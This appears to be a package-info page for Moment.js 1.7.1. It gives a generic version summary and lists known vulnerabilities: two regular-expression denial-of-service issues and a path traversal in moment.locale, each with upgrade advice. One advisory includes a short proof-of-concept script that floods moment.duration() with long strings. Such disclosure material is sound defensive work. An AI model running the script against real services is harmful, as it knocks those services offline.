Version 1.7.1 Details

Moment.js version 1.7.1 represents a subtle refinement over its predecessor, version 1.7.0, both serving as valuable tools for JavaScript developers needing to parse, manipulate, and format dates. While both versions share core functionalities and a remarkably similar structure, examining the release dates reveals that version 1.7.1 arrived approximately two months after 1.7.0, suggesting the latter incorporates bug fixes, performance enhancements, or minor feature adjustments.

Developers familiar with 1.7.0 will find a comfortable transition to 1.7.1. The API, core dependencies (jshint, nodeunit, and uglify-js), and author information remain consistent. Both versions benefit from Tim Wood's continued development and share the same GitHub repository, ensuring access to ongoing support and the library's evolution. The consistent "Parse, manipulate, and display dates" description further underscores the shared purpose and developer-friendly design philosophy across both versions.

Given the incremental nature of the version change, developers should prioritize upgrading to 1.7.1 to leverage any improvements or resolutions implemented since 1.7.0. Consulting the commit history or specific release notes (if available) on the GitHub repository is highly recommended to understand the precise changes between these versions and make informed decisions about adopting the update. This ensures optimal performance and reliability when using Moment.js for date and time handling in their projects.

Security Vulnerabilities

Security Details

Comprehensive list of direct or transitive vulnerabilities for version 1.7.1 of the package moment.

All Security Vulnerabilities

All the vulnerabilities related to the version 1.7.1 of the package

Summary:

Regular Expression Denial of Service in moment

Details:

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js

Recommendation

Please update to version 2.11.2 or later.

Details about moment@1.7.1

Summary:

Regular Expression Denial of Service in moment

Details:

Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.

Recommendation

Update to version 2.19.3 or later.

Details about moment@1.7.1

Summary:

Path Traversal: 'dir/../../filename' in moment.locale

Details:

Impact

This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.

Patches

This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).

Workarounds

Sanitize user-provided locale name before passing it to moment.js.
